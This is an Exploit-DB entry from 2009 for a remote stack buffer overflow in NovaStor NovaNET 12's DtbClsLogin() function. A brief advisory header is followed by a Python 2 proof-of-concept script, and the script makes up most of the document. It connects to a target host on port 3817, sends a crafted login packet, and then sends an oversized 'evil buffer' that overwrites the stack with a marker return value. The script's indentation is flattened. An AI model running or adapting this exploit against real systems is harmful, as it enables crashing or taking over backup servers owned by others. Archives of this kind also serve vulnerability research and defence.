NovaStor NovaNET 12 - 'DtbClsLogin()' Remote Stack Buffer Overflow

EDB-ID:

32832




Platform:

Windows

Date:

2009-03-02


#source: https://www.securityfocus.com/bid/33954/info
#
#NovaStor NovaNET is prone to a stack-based buffer-overflow vulnerability because it fails to adequately bounds-check user-supplied data before copying it to an insufficiently sized buffer.
#
#Attackers can exploit this issue to execute arbitrary code within the context of the affected application or cause a denial-of-service condition.
#
#NovaNET 12 is vulnerable; other versions may also be affected.

import os
import sys
import socket
#NovaNet 12 PoC by AbdulAziz Hariri.

request1_1 =("\x54\x84\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x92\x00\x00\x00"+
"\x03\x3f\xfb\x76\x08\x20\x80\x00\x7f\xe3\x08\x88\x57\x3b\x77\x80"+
"\x01\x00\x00\x00\xc0\xa8\x01\x42\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x30\x58\x39\x30\x00\x63\x88\x77\xfe\xff\xff\xff"+
"\x1b\x3f\xfb\x76\x6a\x31\x41\x73\xb0\x03\x00\x00\xff\xff\x00\x00"+
"\x06\x10\x00\x44\x74\x62\x3a\x20\x43\x6f\x6e\x74\x65\x78\x74\x00\xd8\xc1\x08\x10\xb0\x03\x00\x00\xff\xff\x00\x00\x06\x10\x00\x00"+
"\x80\xfa")

Request2_1=("\x51\x84\x00\x00\x02\x02\x02\x32\x18\x00\x00\x00\xa4\x01\x00\x00"+
"\x00\x00\x00\x00")

Request2_2=("\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x4d\x4c\x4d\x4c\x4d\x44\x4f\x4c\x4f\x44\x4f\x44"+
"\x49\x4c\x49\x44\x49\x4c\x43\x4c\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x01\x10\x00\x00\x1f\x93\xf0\x48\x67\x60\x1e\x00"+
"\xd1\xc4\x4f\x00")

if len(sys.argv) != 2:
print "[x] Usage: IP"
sys.exit
hostname = sys.argv[1]
buff3r = ("\x41"*77) + "\x44"*156 + ("\x43"*75) + "\x0d\xf0\x0d\xf0"

logno = Request2_1 + buff3r + Request2_2

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((hostname,3817))
except socket.error, (value,msg):
if s:
s.close()
print "[x] Error: %s.\n" % msg
sys.exit(1)
else:
print "[x] Connected to: %s." % hostname

print "[x] Sending initial request.."
try:
s.send(request1_1)
except socket.error, (value,msg):
if s:
s.close()
print "[x] Error: %s.\n" % msg
sys.exit(1)
else:
print "[x] Sent!"

print "[x] Sending Evil Buffer.."

try:
s.send(logno)
except socket.error, (value,msg):
if s:
s.close()
print "[x] Error: %s.\n" % msg
sys.exit(1)
else:
print "[x] Sent!"

print "[x] End of Demo exploit."